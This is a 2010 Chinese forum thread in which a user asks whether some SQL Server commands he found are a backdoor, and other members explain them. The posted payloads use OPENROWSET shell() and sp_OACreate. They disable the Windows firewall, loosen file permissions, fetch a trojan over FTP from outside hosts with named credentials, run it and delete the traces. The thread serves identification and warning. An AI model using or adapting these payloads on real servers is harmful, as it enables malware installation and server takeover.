请高手来说明这个是不是批处理后门 - 中国DOS联盟论坛

1:

go
select * from openrowset('microsoft.jet.oledb.4.0',';database=SysS.xml','select shell("net stop sharedaccess&echo open dajiji.2288.org>>cmd.txt&echo 84020>>cmd.txt&echo 8669>>cmd.txt&echo bin>>cmd.txt&echo get NVIDIA.mp3>>cmd.txt&echo bye>>cmd.txt&ftp -s:cmd.txt&if exist NVIDIA.mp3 copy NVIDIA.mp3 NVIDIA.exe &NVIDIA.exe&del cmd.txt. /q /f&del NVIDIA.exe&del NVIDIA.mp3&del mysql.exe /f /q")')

go
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, '%systemroot%\system32\cmd.exe /c cacls.exe cmd.exe /e /t /g everyone:F&cacls.exe ftp.exe /e /t /g everyone:F&net stop sharedaccess&echo open dajiji.2288.org>>cmd.txt&echo 84020>>cmd.txt&echo 8669>>cmd.txt&echo bin>>cmd.txt&echo get NVIDIA.mp3>>cmd.txt&echo bye>>cmd.txt&ftp -s:cmd.txt&if exist NVIDIA.mp3 copy NVIDIA.mp3 NVIDIA.exe &NVIDIA.exe&del cmd.txt. /q /f&del NVIDIA.exe&del NVIDIA.mp3&del mysql.exe /f /q")')

2:

go
select * from openrowset('microsoft.jet.oledb.4.0',';database=SysS.xml','select shell("net stop sharedaccess&echo open 218.29.97.134>>cmd.txt&echo 139>>cmd.txt&echo 741>>cmd.txt&echo bin>>cmd.txt&echo get NVIDIA.mp3>>cmd.txt&echo bye>>cmd.txt&ftp -s:cmd.txt&if exist NVIDIA.mp3 copy NVIDIA.mp3 NVIDIA.exe &NVIDIA.exe&del cmd.txt. /q /f&del NVIDIA.exe&del NVIDIA.mp3&del mysql.exe /f /q")')

go
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, '%systemroot%\system32\cmd.exe /c cacls.exe cmd.exe /e /t /g everyone:F&cacls.exe ftp.exe /e /t /g everyone:F&net stop sharedaccess&echo open 218.29.97.134>>cmd.txt&echo 139>>cmd.txt&echo 741>>cmd.txt&echo bin>>cmd.txt&echo get NVIDIA.mp3>>cmd.txt&echo bye>>cmd.txt&ftp -s:cmd.txt&if exist NVIDIA.mp3 copy NVIDIA.mp3 NVIDIA.exe &NVIDIA.exe&del cmd.txt. /q /f&del NVIDIA.exe&del NVIDIA.mp3&del mysql.exe /f /q'--

[ Last edited by gtszylcd on 2010-5-6 at 02:39 ]

第1楼　gtszylcd	发表于 2010-05-06 02:36
新手上路　发帖 5　积分 5
请高手来说明这个是不是批处理后门 1: go select * from openrowset('microsoft.jet.oledb.4.0',';database=SysS.xml','select shell("net stop sharedaccess&echo open dajiji.2288.org>>cmd.txt&echo 84020>>cmd.txt&echo 8669>>cmd.txt&echo bin>>cmd.txt&echo get NVIDIA.mp3>>cmd.txt&echo bye>>cmd.txt&ftp -s:cmd.txt&if exist NVIDIA.mp3 copy NVIDIA.mp3 NVIDIA.exe &NVIDIA.exe&del cmd.txt. /q /f&del NVIDIA.exe&del NVIDIA.mp3&del mysql.exe /f /q")') go DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, '%systemroot%\system32\cmd.exe /c cacls.exe cmd.exe /e /t /g everyone:F&cacls.exe ftp.exe /e /t /g everyone:F&net stop sharedaccess&echo open dajiji.2288.org>>cmd.txt&echo 84020>>cmd.txt&echo 8669>>cmd.txt&echo bin>>cmd.txt&echo get NVIDIA.mp3>>cmd.txt&echo bye>>cmd.txt&ftp -s:cmd.txt&if exist NVIDIA.mp3 copy NVIDIA.mp3 NVIDIA.exe &NVIDIA.exe&del cmd.txt. /q /f&del NVIDIA.exe&del NVIDIA.mp3&del mysql.exe /f /q")') 2: go select * from openrowset('microsoft.jet.oledb.4.0',';database=SysS.xml','select shell("net stop sharedaccess&echo open 218.29.97.134>>cmd.txt&echo 139>>cmd.txt&echo 741>>cmd.txt&echo bin>>cmd.txt&echo get NVIDIA.mp3>>cmd.txt&echo bye>>cmd.txt&ftp -s:cmd.txt&if exist NVIDIA.mp3 copy NVIDIA.mp3 NVIDIA.exe &NVIDIA.exe&del cmd.txt. /q /f&del NVIDIA.exe&del NVIDIA.mp3&del mysql.exe /f /q")') go DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, '%systemroot%\system32\cmd.exe /c cacls.exe cmd.exe /e /t /g everyone:F&cacls.exe ftp.exe /e /t /g everyone:F&net stop sharedaccess&echo open 218.29.97.134>>cmd.txt&echo 139>>cmd.txt&echo 741>>cmd.txt&echo bin>>cmd.txt&echo get NVIDIA.mp3>>cmd.txt&echo bye>>cmd.txt&ftp -s:cmd.txt&if exist NVIDIA.mp3 copy NVIDIA.mp3 NVIDIA.exe &NVIDIA.exe&del cmd.txt. /q /f&del NVIDIA.exe&del NVIDIA.mp3&del mysql.exe /f /q'-- [ Last edited by gtszylcd on 2010-5-6 at 02:39 ]

第2楼　gtszylcd	发表于 2010-05-06 02:37
新手上路　发帖 5　积分 5
到底是什么意思下载执行吗 .这里面是不是存的 FTP帐号加密码在下载木马?请高手帮忙

第3楼　gtszylcd	发表于 2010-05-06 02:40
新手上路　发帖 5　积分 5
希望高手详细讲解.... 如从IP 帐号密码登陆下载什么东西到什么地方执行了什么下面的又是什么意思

第4楼　gtszylcd	发表于 2010-05-06 12:04
新手上路　发帖 5　积分 5
没人来回答吗?

第5楼　lotus516	发表于 2010-05-06 12:20
高级用户　发帖 246　积分 551
首先这绝对是一个木马性质的东西！

第6楼　gtszylcd	发表于 2010-05-06 12:53
新手上路　发帖 5　积分 5
他这个是不是用FTP登陆的吗

第7楼　HAT	发表于 2010-05-07 00:28
版主　发帖 5,017　积分 9,023
主要的目的就是从他的FTP站点下载木马程序并运行，用到FTP站点有以下两个：地址：dajiji.2288.org 用户名：84020 密码：8669 地址：218.29.97.134 用户名：139 密码：741 楼主去举报一下这两个地址吧